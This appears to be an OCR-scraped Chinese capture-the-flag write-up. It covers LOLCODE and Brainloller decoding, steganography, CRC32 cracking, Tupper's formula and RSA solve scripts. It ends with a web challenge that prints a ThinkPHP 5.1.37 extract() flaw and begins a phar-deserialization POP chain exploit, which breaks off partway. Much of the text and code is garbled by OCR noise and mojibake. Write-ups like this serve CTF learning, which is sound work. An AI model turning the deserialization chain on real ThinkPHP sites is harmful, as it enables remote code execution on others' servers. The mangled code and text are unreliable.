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HAI DOg3 code

A CODE ITZ "DOg3isthepAssword"

A MSG ITZ ""

A COUNTER ITZ ©
A NUM

YR LOOP UPPIN YR

COUNTER WILE COUNTER SMALLR THAN LEN OF CODE

A C ITZ CODE!COUNTER

NUM R ORD OF C

NUM R SUM OF NUM AN -3
IZ NUM SMALLR THAN 65?
NUM R CHR OF NUM

>, NUM R SUM OF NUM AN 26, KTHX

MSG R SMOOSH MSG AN NUM

IM OUTTA YR LOOP

EANEH AR, BUEMEG, BRIEK—T

Google

CTF IM OUTTAYR LOOP VISIBLE MSG KTHXBYE X  Q

Q=5 LDERF OxFE O OWy (E= =

HEED 144 =555 (AT 087 #0)

https:/www dcode fr » lolcode-language ~ EiFELkm

LOLCODE Language - Compiler - Online Decoder, Encoder ...

Add LOLCODE Language to your mobile apps! . NUM R SUM OF NUM AN 26, KTHX NUM R
CHR OF NUM MSG R SMOOSH MSG AN NUM IM OUTTA YR LOOP VISIBLE MSG .
https:/iwww.dcode fr » langage-lolcode ~ ERFEIE
Langage LOLCODE - Decoder, Encoder - dCode.fr

... RCHR OF NUM M3G R SMOOSH MSG AN NUM IM OUTTAYR LOCF VISIBLE MSG
KTHXBYE ... la déclaration de variable ou les boucles de IM IN YR jusque IM QUTTAYR ..

https:/igist.github.com » ... ~ EHFEHE
Hackerrank Project Euler Problem 1 - gists - GitHub

IM IN YR loop UPPIN YR INPUT TIL BOTH SAEM INPUT AN CHEEZEBURGER. | HAS A
STUFF . VISIBLE | IZ SUMMARIZE YR STUFF MKAY. Il OUTTA YR loop. KTHXBYE ..
E=ria ETF MSG

https:/fwww buzzediter.com » langage-lolcode ~ EHZEHE

Langage LOLCODE - Interpréteur/Compilateur - Decoder, Encoder
.. RCHR OF NUM MSG R SMOOSH MSG AN NUM IM OUTTA YR LOOP VISIBLE MSG
KTHXBYE ... de capricious ou les boucles de IM IN YR jusque IM OUTTAYR (qui pourrait ...
~erN| el 3T
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Search for a tool
# SEARCH ATOOL ON DCODE BY KEYWORDS:

e.g. type 'boolean’ 4
+ BROWSE THE FULL DCODE TOOLS' LIST

Results Bmle e + 5 x
AGdIfpgebmXpptloa

LOLCODE Language - dCode B
Tag(s) : Programming Language

Share
+] f W] =)

dCode and more P

dCode is free and its tools are a valuable help in
games, maths, geocaching, puzzles and problems to
solve every day!

A suggestion 7 a feedback 7 a bug 7 an idea ? Write to
dCode!

LOLCODE LANGUAGE

Informatics : Programming Language - LOLCODE Language

LOLCODE INTERPRETER
# SOURCE CODE WRITTEN IN LOLCODE

NUM R SUM OF NUM AN -3

IZ NUM SMALLR THANM 637, NUM R 5UM OF NUM AN 26, KTHX
NUM R CHR OF NUM

M5G R SMODOSH M5G AN NUM

IM QUTTA YR LOOP

VISIELE MSG

KTHXBYE

» DISPLAY (@) THE STANDARD OUTPUT (STDOUT) OF THE PROGRAM
() A JAVASCRIPT VERSIOM OF THE LOLCODE

DECRYPT

See also: Brainfuck

Answers to Questions (FAQ)
Whate is LOLCODE? (Definition)

Lolcode is a programming language, it is not an encryption, it follows a
syntax similar to other programming languages but is very verbose and
misuses keywords that are usually replaced by symbols in programming.

Example: I HAS A VAR ITZ O corresponds to VAR = 0

How to write/encrvot usine LOLCODE?

il

+

ii

i Google BlEHIER
Summary
+ LOLCODE Interpreter
+ Whate is Source code
written in LOLCODE?
{Definition)
+ How to write/encrypt using
Source code written in
LOLCODE?

How to

interpretitranslate/decrypt
lolcode?
+ How to recognize lolcode?

Similar pages

+

+

+

+

Brainfuck

Javascript Keycodes

Spoon
Binaryfuck
Pikalang
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Program.png MRIE A RIER —FFIELIAR npiet , ZHIRBEERFRINAR
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Program.

SORMNENENRH

JARGTETFEA K Brainfuck W —FHABGRFIEARIRIIES: Brainloller

¢ https://minond.xyz/brainloller/

T2 G A play , B2 : OMTTW CWZVN!

Program controls

| Play | | Pause | | Continue | | Undo | | Redo | | Expand canvas |

| Contre&anvas | | Zoomin | | Zoom out | | Clear | Upload

Brainloller comMands

BETEENE B

Program memaory



https://minond.xyz/brainloller/

n 33 0 67 0 0 0 0 0 0

Input
QOutput

BMTTH CWZVN! - mm—
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B Decode message: Cif/Users/Administrator/Downloads/CyzCC _loves LOL/ez_miscfjind's flag .. 7 *
Media's encoding format : IJF'EG 'I w
—Options
Luminance interval (k) .'__l\ : : : : : : : m
Header position |bottam |
Passphrase joMTTW_cwzvn! W show
Decoded message

D0g3{544f3225-bbaf-47dc-badd-5bda54cbaech}

Crarses: 7778 =] B T~ encrypted deta ¥ Compressed dat 0 el @zl

DOg3{544f3225-bbaf-47dc-ba8d-5bda54cbaecb}
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& 5 C O 34| F/CTF2/CyberChef/CyberChef v9.32.3.html#recipe=From_Base32('A-Z2-7%3D",true)&input=TVJQVkkOVFpMNUtHSzRUUOdSWkdTWUpCUFU9PTOIPTO

iR £7 3 B

Version 9.32.3
Operations
base

To Base

From Base

To Base32

To Base58

To Base62

To Base64
To Base85
From Base32
From Base58

From Base62

® Fofa vy #FE-lbinsiE.. [¢ csbn

Recipe

From Base32
Alphabet
A-Z2-7=

Remove non-alphabet chars

B35 ¥ o Hfag: d_Try Terrarial}

[:]i5] #HT SRC CNVDEE]
Last build: 3 months ago

Ama Input

CSDN @3 #]

SICERE * O
=ipss | @ @zEez
Options g About / Support (@)

length: 32

1 tO3E =

MRPVIATZL5KGK4TSGRZGSYIB PU:::::4

Output

d_Try_Terrarial}

time: Oms

e IC
length 15 B 0O m

lines:

The Evil Watcher.wld ({42 Terrarialif %) — AN B S, BATA LB Terramapii B & E 3% 22 h0ERX N Hb B S 4

Terramap#£:: https://www.bilibili.com/read/cv8778447/

SEmFsEHE, Players: £ All Spoiers, XFEHEGMSMEIHR T, WLLBS EEESNHRE, ARV UEFHIYIRER

§ TerraMap - The Evil Watcher

File View MNavigate

Sets Help

‘Worlds: ~ Players: (No Spoilers) ~| N H O '_I
(No Spoilers)
{(All Spoilers) }

(All Spoilers)

FEME PRI T A EORERNARTE, A ATRIT Kilbasednhd H AR




§ TerraMap - The Evil Watcher
Eile View Navigate Sets Help

{Worlds: - Players: (All Spoilers) ~ @ V)M @ & _ |0 ©| O © _ iBlocks~ .. 4 X b Highlight All| Invert Color: lll[| Apply

Q' Statue
V' Statue
'G' Statue
'O’ Statue

2522 feet west 96 feet above 839, 288 Glass Chest (1692) Updated fog for 5,040,000 blocks in 0.2 seconds

§ TerraMap - The Evil Watcher
File View Navigate Sets Help

‘Worlds: ~ Players: (all Spoilers) ~ @ 1B @ & _ {0 8| S © _iplocks~ .. 4 X b Highlight All| invert |Color: Il ¥] Apply

Statue
Statue
Statue
"W' Statue
Statue
Statue

864 feet west 180 feet above 1668, 246 Glass Chest (1692) Updated fog for 5,040,000 blocks in 0.3 seconds




§ TerraMap - The Evil Watcher
Eile View Navigate Sets Help

{Worlds: - Players: (All Spoilers) ~ )M @ & _ | B O ® _ iBlocks~ .. 4 X b Highlight All| Invert Color: Illl[| Apply

Glass Chest: "[16:23]" (21,1710,18)

986 feet east 64 feet above 2593, 304 Glass Chest (1710,18)

SN T U SRR S 3E T

§ TerraMap - The Evil Watcher
File View Navigate Sets Help
‘Worlds: ~ Players: (all Spoilers) ~ @ 1M @ & _ |0 8|S © _iplocks~ .. 4 X b Highlight All Invert |Color: [l ¥] Apply

Glass Chest: "BXB&EHESE F —Hl¥HSheena” (21.1710,18)
I s —

2618 feet east 66 feet above 3409, 303 Glass Chest (1710,18) Updated fog for 5,040,000 blocks in 0.2 seconds

P =AME FibasemiBH & —T, B Fbase324miY
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B R A




= o= © @ | F:/CTF2/CyberChef/CyberChef v9.32.3 html#recipe=From Base32('A-Z2-7%3D' true)&input=SVFZROSNMzNKVVIXNFpMREMkdNNUM B B % & » @ E

cE i} 5 =3 BZF @ Fofa wy #5E - RUAENE.. CSDN 8 #HT SRC CNVDEERI | ziras | 3 @sEm
Version 9.32.3 Last build: 3 months ago Options & About/ Support @
q . = length: 23 =
Operations Recipe S Input R + O3 0 =
IQYGOM33JUYWAZLDKI2GMSC
base From Base32 O n
To Base Alphabet
A-Z2-7=
From Base

Remove non-alphabet chars

To Base32

To Base58

To Base62

To Base64

IR AL LN
From Base32 Dog3{MlnecRaft’

From Base58
From Base62
From Base64
From Base85

Show Base64 offsets

s STEP m Auto Bak
uto Bake

BRE—METHREIRARAERE, EZRTENMRESE, ZTHEH Tedit ZHAEMKRIR T RERE L, THENEH KHE
/AR, ARRERNSER. . .

Tedit F#Hht: https:/www.binaryconstruct.com/downloads/

{8 TEdit v4.6.2 The Evil Watcher.wld
File Jit Layers

Time

10) | Tile DirtBlock (0 Wall Dir

53] 714YF6QLO , AT LASEEERI AT A  HIbase324m i3 5 & IQYGOM33IUYWAZLDKI2GM5C7I4YF6QLO



& - C O 34| F/CTF2/CyberChef/CyberChef v9.32.3.html#recipe=From_Base32('A-Z2-7%3D' true)&input=SVFZROINMzNKVVIXNFpMREtMkdNNUM3STRZR|ZRTES

2} o] ¥3 & @ Fofa vy ihK - DUFIEME.. CSDN i) #HT

Version 9.32.3
Operations Recipe
base From Base32

To Base Alphabet

A-Z2-7=

From Base

—— Remove non-alphabet chars
To Baseb8
To Base62
To Base64
To Base85
From Base32
From Base58
From Base62
From Base64
From Base85

Show Base64 offsets

Bcrypt parse STEP z BAKE!

SRC CNVDER

Last build: 3 months ago

Input

W B v & * O :
| sz | @ meEs
Options g About / Support @

+ O35 =

length: 32
lines: 1

IQYGOM32IUYWAZ LDKIZGMSC?IAVFSQLC‘

Output

Deg3{MlnecR4ft_Go_An

Auto Bake

33 pog3{MinecRaft_Go_An , FTUAL & HITH M5 flag: d_Try Terrarial}

i Aflag Ay :

DOg3{MlnecR4ft_GO_And_Try Terrdria!}

time ems
1 th: 20 I_
e 2 B0 ®

lovemath

IR, Bk T fag.zip, EF LA KDARBEEHICE, X BN %R ZEore32/ M T

r
| CAUsers\Yiliale\Downloads\lovemath.zipy

— O X
MR #wEE =EFNV) HEAW) TE(M FBEIH)
P w7 ) wp ¥ i
hn 12EY Mk S5 e ke S8
¥ ‘ C:\Users\YiJiale\Downloads\lovemath.zip\ w
o FEEEFN ERETE] ElEERTiE] iAiElaTiEl
516 565 516577 2021-11-2... 2021-11-2... 2021-11-
6 18 2021-11-2... 2021-11-2... 2021-11-
|jﬂag_02.txt 6 18 2021-11-2... 2021-11-2... 2021-11-
ﬂﬂag_DS.txt 6 18 2021-11-2... 2021-11-2... 2021-11-
ﬂﬂag_Dttht 6 18 2021-11-2... 2021-11-2... 2021-11-
ﬂﬂag_DS.txt B 18 2021-11-2... 2021-11-2... 2021-11-
fER 4

python crc32.py reverse @xCRC32HI{E

DHSE



pMrb7f
gqLmCE3

5Mub
vhpBDP

iJiale\Desktop\T B

MrQwov (OK)
ONTibk
RLddTz

(Qur (0K)
UZPcET (OK)

fiJiale\Desktop\T &

Local

bytes:
bytes:

byt

jwtdfK

O o= ¥ Python Packages @ Python 53814




C:\Users\YiJiale\Desktop\L & g -master>python crc32.py reverse 0x2D2C

4 bytes:
verification check
6 bytes: Brd_We
6 bytes: 1nj

- 6 bytes: BSNT74

6 bytes: CrQuEa

C:\Users\Y¥iJiale\Desktop\T B 2\crc32-master>python cr

4 bytes: {0x9f, 0x48, OxBc, O
verification checksum: Bxd%el
6 bytes:

6 bytes:

ERRBAE: thls_Is Your pa33wérd Welcom3e

1 Hflag.zipf8 3

C:\Users\Yiliale\Downloads\lovemath.zip\flag.zip\
IHEF) \EE &FNV) BER) TE(T) FEEI(H)

fom v o ow X i
R0 1REN MR S8 Ew iR SR

¥ | CAUsers\Yiliale\Downloads\lovemath.zip\flag.zip\

S

FIN
537 869

EHREFN ERETE
516413 2021-11-2...

BIEATE]
2021-11-2...

VaiElRE]
2021-11-



-~

T
20*:%—%%&%%

FiStegsolve: T E /', KIIR,GBHIOEEH A R &



|£ | StegSolve 1.3 by Caesum

File Analyse Help

ted plane 0

RiZRELSBRR S &M T

Bit Planes
Alpha [
Red 7
Green [
Blue 7

Preview Settings

Extract Preview
1a0a0000000d4948 ... PHNG.. IH
022b08 I T
4441547 : .j.. .I DATx
5166lcfBEB00£43d wv.6...[. Qf..... =
9d38dbT0kb34de4d0 5g. B.p.-M
92clc78lad779090f ..:r...x ..... W. .
abba%ra3isz2300dfe d7I.E... ....RO..
iEf1fefbE _LBE. Ll
04812010 O C.o o fovn
..@...4 @
Order seltings
6 5 4 3 2 1 0 Extract By (@ Row
6 5 4 3 2 1 [v]0 Bit Order (® MSB First
G 5 4 3 . 1 [v]0
Bit Plane Order
6 5 4 3 2 1 [¢|0 RGB GRB
RBG BRG
GBR & BGR
Include Hex Dump In Preview [v
Preview Save Text Save Bin Cancel

Column

LSB First

S




AV HSave Bin, (REFApngE fr, KIITATF, HO10TF RIS KA A L REFH, WEETITIHAE—KEERS
BB A

12510776954827760253385771255792157072162629818428210001622769
94967943212822693842845266851984880336702446444408289977864567
92103843514412017635752968634297721263376424762056766944160272
90040034733124687765824734610714626315545337667099344843931857
39708817165738912742570170547790145328253304755428563911689057
63200179559866712751433112219079535592143673537512668814285647
02801288213165860082426872419308868688043884826435890090685437
71977163419519208340324352

BoNBGERE S, FROEGTHREZERET, ZAAQQIRERKREEE, EHEREHETRINNEIRE, TRET MrHrIrER
RETETHAQQRE. « « BERRAET, AL, REEH
1251077695482776025338577125579215707216262981842821000162276994967943212822693842845266851984880336702446444408

2899778645679210384351441201763575296863429772126337642476205676694416027290040034733124687765824734610714626315
5453376670993448439318573970881716573891274257017054779014532825330475542856391168905763200179559866712751433112]

2190795355921436735375126688142856470280128821316586008242687241930886868804388482643589009068543771977163419519
208340324352

ERAFE TR, HERETIEEERE, RARMENS00KBHE X AME, RIEBEHE, lovemath M Mtk EEMREHA
2 XRE, XBNZEEESEMBETAREE, FHERXA EEgEtAc, BREAETRA, ATEEE aREEALR K
SR, RIT HAHARKEYARXMEEBERF (matplotlib) , BEIEHHE KA

JEA Mtk :  https://www.cnblogs.com/1024th/p/14418846.html

€ > C a baiducom/s?ie=utf-8&f=8&rsv bp=18&tn=baidudwd=EHEEAT0q=%25E8%2587%25AA%25E6%2588%2591%2520%25E7%2594%25BB%25E5%259B%25BE%2... @ & ¥ | & *» @ :
Eal ;| o5 E=] BE @ Fofa vl 3K - RUFENE.. CSDN B T SRC CNVDRGI | o=esE | 8 EzEs
Bai'&'éfé BREEAT B @ AN
QRIm AiE NE &ifl nGe Bk /=] pR) | B
$RTE
BE > [oF -
1 ARBRNE T2 @ 49875

SR B NS W, WA S - AT S N ‘ N -
FHoE 1 EENE A AT 2 EESE - AT SR 2 BEHrROmicronBI IR 2 48713

B EERAR RNE= P HERNER 47673

= E'}"(matp|ot|ib) ez | 4 2EBFRERRZEEENT 461
5 R ERRFAERERI 4 S 45877
6 ERYIEIR A8 AARTSR17007T 44215
7 SRS S YT 4377
8 Z2EBFH-BLELR 6 4237

1 2021525 20H " Plot Tupper's self-referential formula """importtextwra
oo =74 pimportmatplotiib.pyplotasplt K =4858450636189713423562095962494
= 2020445814005879832445494830930850619347047088...

EERE EERR

EET upper £ I R AR (B AR .

017411350 B4 SIGGRAPH2001_Tupper.pdf FIEAREE X NERESIANR RS —H
EST FHEELRIRT? B—1a...
© NF  BERR

: = E | Matrix67: .
TupperEFHSIH AT l%@ﬁjﬁ@/\f¥2k§ RS — M EHEREEEE I8 @AQAE&S%
S ESR MEUEENR REA ARE TiXE—NRA, 20014, Jeff Tuppers...

Www.matrix67.com/blog/archives... BERE

JEIAR

9 RFEEHERIBRR AR PIRF 4197

10 “INEEE RS F RS

N HEIMCEINESRERaRiEnE
12 BRESHRE EEEENS?

13 ERRKES— a0 FHEAR
14 PR RERSE



Plot Tupper's self-referential formula
import textwrap
import matplotlib.pyplot as plt

K = 125107769548277602533857712557921570721626298184282100016227699496794321282269384284526685198488033670244644]
4408289977864567921038435144120176357529686342977212633764247620567669441602729004003473312468776582473461071462
6315545337667099344843931857397088171657389127425701705477901453282533047554285639116890576320017955986671275143
3112219079535592143673537512668814285647028012882131658600824268724193088686880438848264358900906854377197716341
9519208340324352

17
106

__main__":

if _ _name__ ==
plt.figure(figsize=(6.8, 4), dpi=600)
plt.axis("scaled")

K_ = K//17
for x in range(W):
for y in range(H):
if K_ & 1:
plt.bar(x+0.5, bottom=y, height=1,
width=1, linewidth=0, color="black")

plt.figtext(0.5, 0.8, r"$\frac{1}{2}<\left\1floor \operatorname{mod}\left(\left\1lfloor\frac{y}{%d}\right\rfl
oor 27{-%d\1floor x\rfloor-\operatorname{mod}(\1floor y\rfloor, %d)}, 2\right)\right\rfloor$" % (H, H, H), ha="¢
enter", va="bottom", fontsize=18)

plt.subplots_adjust(top=0.8, bottom=0.5)

K_str = textwrap.wrap(str(K), 68)

K_str[@] = f"K={K_str[0]}"

for i in range(1, len(K_str)):

K_str[i] = " {K_str[i]}".1ljust(70)
K_str = "\n".join(K_str)
plt.figtext(0.5, 0.45, K_str, fontfamily="monospace", ha="center", va="top")

plt.xlim((0, W))

plt.ylim((@, H))

xticks = list(range(0, W+1))
xlabels = ["" for i in xticks]
xlabels[@] = "@"

xlabels[-1] = str(W)
plt.xticks(xticks, xlabels)
yticks = list(range(@, H+1))
ylabels = ["" for i in yticks]
ylabels[@0] = "K"

ylabels[-1] = f"K+{H}"
plt.yticks(yticks, ylabels)
plt.grid(b=True, linewidth=0.5)

# plt.show()
plt.savefig("Tupper-plot.png")
# plt.savefig(fname="name", format="svg")

AR EIEEAN K 2 51817, 583 Tupper-plot.png
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Eas

1)’_7J2—17[xj — mod(ly], 17)' Z)J

FEHS

106

K=12510776954827760253385771255792157072162629818428210001622769949679
43212822693842845266851984880336702446444408289977864567921038435144
12017635752968634297721263376424762056766944160272900400347331246877
65824734610714626315545337667099344843931857397088171657389127425701
70547790145328253304755428563911689057632001795598667127514331122190
79535592143673537512668814285647028012882131658600824268724193088686
8804388482643589009068543771977163419519208340324352

Q=#Es
Python39 W €

?%?'Jﬂag?‘ﬂ:

DOg3{I_Lov3 math}

Cry
little_trick

EE Blef 4 -

€= ammi nexrt— . , . _ .
i 1] 3

BHERMer R RE KA, HATRIUZ BB &1 57%: AEXANEEAMEREREK, FE-NFIRER, REXNFERES
PR, FIMrik$E Ab’'D0g3’

exp



p=11949414834391770810580711761477352919638045202585957412321153885998309410801567832172449560978533250856353495
©957367289723559468197440246960403054020452985281797756117166991826626612422135797192886041925043855329391156291
955066822268279533978514896151007690729926904044407542983781817530576308669792533266431
0=12513268508628166680057340486858542481524708221372464747322601645247146155574219404261731806367031129069431056
2746442372293133509175379170933514423842462487594186286854028887049828613566072663640036114898823281310177406827
©49478153958964127866484011400391821374773362883518683538899757137598483532099590137741
c=10238271315477488225331712641083290024488811710093033734535910573493409567056934528110845049143193836706122210
3030554661458192568932934292233898282526574260301185341276842652611925034062874089328323409383434479977916344350
6836638396592899163753687522351127758368557931478154764860266639165630670332197168080397798271140797924897991051
3665732355859523500729534069909408292024381225192240385351325999798206366949106362537376452662264512012770586451
7837126266650651617041265367427550548304278649827820308348373885448111722794966577768842097560690568127504766695
©8640817369423238496930357725842768918791347095504283368032

while e<10000000:
e=sympy.nextprime(e)
1.append(e)
e in 1:
if gcd(e,phi)!=1:
continue
d=invert(e,phi)
m=1long_to_bytes(pow(c,d,n))
if b'DOg3"' in m:
print(m)
break

BT KM L= o8 BER.
flag:h:

DOg3{WelcOme_tO iSOON_4nd_have_4 good time}

ez_equation

Bprimelistd I =R B9 5 8p1,p2,03, WEMI=y1+x2+x3=

PP+ 1\ m . MI—v9dv— e (1
M

(a,b,c):
delta=b*b-4*a*c
if delta<o:
return (0,0)
delta=isqrt(delta)
if (-b+delta)%(2*a)!=0 or (-b-delta)%(2*a)!=0:
return (0,0)
return ((-b+delta)//(2*a),(-b-delta)//(2*a))




1298899920785652180144379857976232607741738627763143943052074609290104485419191513717397634134089019583574398836
8781294180274955626954095923801596078912308172491356341595111891122576523935814514484767281327230400030324818591
2184454183649550881987218183213383170287341491817813853157303415010621029153827654424674781799037821018845093480
1491468469169720704716167743266589928746247173353699633167413465966929378739807363922723574297174372487310183330
1177609808453272931522188192268863339059322064768236727256627538119659770243491155738535138917979013259584015711]
©385379375472525985874178185477024824406364732573663044243615168471526446290952781887679180315888377262181547383
9532312771483648547821451923484320755914653095214544413821195026772450907267289127381235123164757626647497710020
90738886940569852252159994522316

M2=4046011043117694641224946060698160981194371746049558443191995592417947642909277226440465640195903524402898673
2556225706508103387803586458722934732126922406752879980972807157390932851678117402527929861196693481088501685744]
2337186126699463085136038183592038497927956893774051657341251056431243971840268954737754857565345051998991421811
5265842158616123026997554651983837361028152010675551489190669776458201696937427188572741833635865019931327548900
8043237928932734434672519028866367561736658236449585636649674759109620858675593570080734968751913918477579911011
8900315442257866282004938789940238323582801183044403446304974966890658381422982732170445002171560134995040603589
6249429068630164092309047645766216852109121662629835574752784717997655595307873219503797996696389945782836994848
9951247763751462450617876477567046050438567353980020122763117819566682127765889706196580635153569313868868715548
60891089498456646036630114620806

t=gcd(M1,M2+2),m1=M1//t, m2=(M2+2)//t

t=19558952363044581852990286095683279689085525139263312850526736001937976607844103944771462951770565498959600564
1784168486211312686680455807626431626165080866039191378864985968731741426496463223663496416166582452161079104234
3859857386603884141399111683344690514232056298297655720783134317364837281552288149157642289906432292523949404466
4762816615938612934535506075301376448677272194706341931973075692004622048867439953400779561079014094168836187000)
3545561101950379051252306239620980393842817770270164660348572241648029661122045865707023959462688020516797465334
280134572790507613563583907925334439091301297527252508403124
m1=195633322480681515356309813290787048360118775944006416393694591412159002608610253120549067575997945660832087 2,
©855569882795966368648050841796097774666530924861861072322505359934227960441733030841677273935286749895660385076
617500078541482883261409708629757597729348593181573750624736984373186183627343721574559
M2=2068623599064732961079185392171873518799495876609247420413135956188520824609790584310102909334776590035515707
2072179547621235081101156100572779845352580259426625670629461859798011004868747162865241652060762059495558269934
939075323522904748472063800026320062177474213759817229716245635847559587261121068310442
for i in range(2,1000,2):

tl=i*ml-1

t2=i*m2-1

if sympy.isprime(tl):

break

#gcd=6,t1=117379993488408909213785887974472229016071265566403849836216754847295401565166151872329440545598767396
4992523251334192967757982118883050507765866479991855491711664339350321596053677626503981850500636436117204993739
623104597050004712488972995684582517785455863760915590894425037484219606239117101764062329447353,t2=1241174159438
8397766475112353031241112796975259655484522478815737131124947658743505860617456008659540213094243243307728572741
0486606936603436679072115481556559754023776771158788066029212482977191449912364572356973349619609634451941137428
490832382800157920373064845282558903378297473815085357523566726409862651
c=13949467664168731315549344533571217306763198082125157861279180419806067462387934326147661635200548187409528186
8247489688692387133078088350402866538042260836454261856198123305021050720294888298976396070261211631632100921054
1932155301216511791505114282546592978453573529725958321827768703566503841883490535620591951871638499011781864202]
8745257982245080220926104998991667388643467497533793996025745503243101196677742296458277736088738327958286367702
6311183299001220527642555936397752611422554096286174092965984116503941990416496109512675729476270919455201889093
7638480126740196955840656602020193044969685334441405413154601311657668298101837066325231888411018908300828382192
2030624052876704908772832697610478531179714921976591159955378370804007302942157785407544826804767239536590858542,
9718457554848954477224804947963242028995440905278188087193371312187556255423484159932322379340727263416742105349
3995795570508435905280269774274084603687516219837730100396191746101622725880529896250904142333391598426588238082
4853053726595840524455566389904976263425096203057498291441587974914118168194478362653183020802124529251441915360
3124940413897888626213612925097136684177921867548263224226523313499711598751029291160673687857849379626050745877
3824689843424248233282828057027197528977864826149756573867022173521177021297886987799897923182290515542397534652]
7890133402645870284246297666890595078442119100728082862509140599839579346709795514282045697822388573312723720356
25901349763799005621577332502957693517473861726359829588419409120076625939502382579605




N=194459501329763869118523816667317994635109587129502742481831924059372233432281194076607724130675992527102353109
4022783453918068631161190106977664347433027986440912207308194415997840399553473987975452193149251035290620929639
1285548946491472358883381728078615898526940113191961832086694273729191560355132016300112972543020516415972181031]
9128999027215168063922977994735609079166656264150778896809813972275824980250733628895449444386265971986881443278
5176894281982514265575912562264317279343652776835590387772204988394434232722382316593564980888245209804664825288|
3599455489278510880529020916364640859468245864423566419869050312876755743002656560630842263001428598284739540534
2842694189025641950775231191537369161140012412147734635114986068452144499789367187760595537610501700993916441274
6090744770861051603061345908645450568721618184186673706909456020506398254539271685291541410976683828307178671581
8913156759050656147577425214899161560238872555918492546748745007806886387628593727389624652062196509612744033260
7637290032226601266371916124456122172418136550577512664185685633131801385265781677598863031205194151992390159339
1308958975102777147686459846602407505800013727726652979206797010449666072418594950873199988254747279202730631207
©138974948085240356102206367322296335442055626704532520893381521262508147853815804914434862600099665043689876030
0563194390820694376019146835381357141426987786643471325943646758131021529659151319632425988111406974492951170237
774415667909612730440407365124264956213064305556185423432341935847320496716090528514947

p2,P2=solve(1,pl,-term)
pa=n//(p1*p2*p3)

he=(pg+cha*cha//4)*4
if iroot(he,2)[1]==True:
he=iroot(he,2)[0]
break
k+=2
p,q=solve(1,-he,pq)
phi=(p-1)*(q-1)*(p1-1)*(p2-1)*(p3-1)
d=invert(e,phi)
m=long_to bytes(pow(c,d,n))
print(m[256:256+42])

DOg3{296b680c-7aeb-5272-8b33-7335b411fb

strange

HEEBImAZfag, X FhintFInkRiaBELE N, mhintfEES FhintR MR~ XMAEE—A/MER, HRHcoppersmith
M7k timl, REREMIFImM2EBUE EmIIAE, FEREEmS —Ak 5 Biflag.

exp:



##tsagemath
N=13002904520196087913175026378157676218772224961198751789793139372975952998874109513709715017379230449514880674
55447355150822194624985454135297310083207563321114814097292557973608805821401499308222653087528421993392249773609
7734622546434917481907586677406979731806648749662758911165233381406505366397448048637979910240311874467295663458
8445292675676671957278976483815342400168310432107890845293789670795394151784569722676109573685451673961309951157
3991839447891635918095617904910218727486748091487378257099855785683735452106532903682644529630805339491687353197
75945818152681754882108865201849467932032981615400210529003
c=85603679790883896390933556700529553449680089177877800108331582903165401547916129275954809683703385498372498238
7124443694688919867794545627331734388648574129726055717270471873180963273456734981533898816917798322211871858524
9696953103962537942023413748690596354436063345873831550109098151014332237310265412976776977183110431262893144552
0421168717471273010261951423206782445257196555514983684608373944368429247134507159987958991727745733411896602272
54331656916960984157772527015479797004423165812493802730996272276613362505737536007284308929288293814697988968409
7777480072409184261544708820877153825470988634588666018802
h=99896394197822224445291299515267236188316726276037837287287673452579413118702694716519071185457834082958569542,
1425968142194380785555457117961948597514394597254532876351993137155257398082995086471158652428163411410210205529
9443001677757487698347910133933036008103313525651192020921231290560979831996376634906893793239834172305304964022
8816997649576997081920807399494623168440912402193516461384478169699946258833778006626436451726916493373530801404
1833642550611954239631937682132461933008317400806035121030769827902258486299074996345258992218570902619721059147
2680780996507882639014068600165049839680108974873361895144

Zmod=Zmod (n)

P.<x>=PolynomialRing(Zmod)

f=(h+x)"3-c

x0=F.small roots(X=2"400,beta=0.5)

print(x0)

m1=x0+h

from Crypto.Util.number import *
h=99896394197822224445291299515267236188316726276037837287287673452579413118702694716519071185457834082958569542,
1425968142194380785555457117961948597514394597254532876351993137155257398082995086471158652428163411410210205529
9443001677757487698347910133933036008103313525651192020921231290560979831996376634906893793239834172305304964022
8816997649576997081920807399494623168440912402193516461384478169699946258833778006626436451726916493373530801404
1833642550611954239631937682132461933008317400806035121030769827902258486299074996345258992218570902619721059147
2680780996507882639014068600165049839680108974873361895144
M1=9989639419782222444529129951526723618831672627603783728728767345257941311870269471651907118545783408295856954
2142596814219438078555545711796194859751439459725453287635199313715525739808299508647115865242816341141021020552
9944300167775748769834791013393303600810331352565119202092123129056097983199637663490689379323983417230530496402
28816997649576997081920807399494623168440912402193516461384478169699946258833778006626436451726916493373530801409
4183364255061195423963193768213246193300831740080603512109330495607813607174274467136461095700380561386528037561
49233612618692820860571507613112565167824369560313209417725
m2=9869907877594701353175281930839281485694004896356038595955883788511764488228640164047958227861871572990960024
485992

ml=bin(ml)[2:]
ml=ml[::-1]
h=bin(h)[2:]
h=h[::-1]
m2=bin(m2)[2:]
m2=m2[ ::-1]
m2+="'00000 "
bit=[0,1]
for i in range(383):
for j in bit:
if jlint(h[i])==int(m1[i]) and j&int(h[i])==int(m2[i]):
m+=str(j)
print(m[::-1])
print(int(m[::-17,2))
print(long_to_bytes(int(m[::-1],2)))




ﬂag?'\j:
DOg3{R54_f411 1n_love with_CopperSmith_wewowd!!}
Web
ez_tp

AFwww.zip, TEBED. RA5.1.37, diff f —TFRAEEH2ANE, BEFED

hello()

highlight file( )
$hello = base64 encode( 'Welcome to D@g3');
if (isset($ GET['hello'])||isset($ POST['hello’'])) exit;
if(isset($ REQUEST[world']))
{
parse str($ REQUEST[ 'world®],$haha);
extract($haha);
b
if (lisset(%$a)) {
$a = 'hello.txt";
b
$s = base64 decode($hello);
file put contents('hello.txt’, $s);
if(isset(%$a))
{

echo (file get contents(%a));

BT E M, (ERABaght B, AiL1REAEFE Hiphark/F 54k
5 T4 Bipharsc ik

<?php
namespace think\process\pipes{

use think\model\Pivot;

class Windows

{
private $files = [];
public function O

$this->files[ ]=new Pivot();

)i

s

s

namespace think{
abstract class Model




protected $append =
private $data = [];
public function Of
$this->data=array(
'feng'=>new Request()
)
$this->append=array(
'feng'=>array(
'hello'=>"'world"

namespace think\model{
use think\Model;

class Pivot extends Model

namespace think{
class Request
{

protected $hook = [];

protected $filter;

protected $config = [
/) REFREH R H
‘var_method' => ' method’,
// FHajaxyEZE
‘var_ajax'
// FHpjaxyKEEE
‘var_pjax' => ' pjax',
// PATHINFOZ&EE T #HEH=
'var_pathinfo' => 's',
// FEBPATH_INFOZKEK
‘pathinfo_fetch' =5
/) UL WETE HE
‘default_filter' =5
// BER, Athinkphp.cn
‘url_domain_root' => '',
// HTTPSUEEfriH
"https_agent_name' =>
// IPCEEZKriA
"http_agent_ip"' "HTTP_X_REAL_IP',
// URLGEFEIGEE
‘url_html_suffix' => 'html',

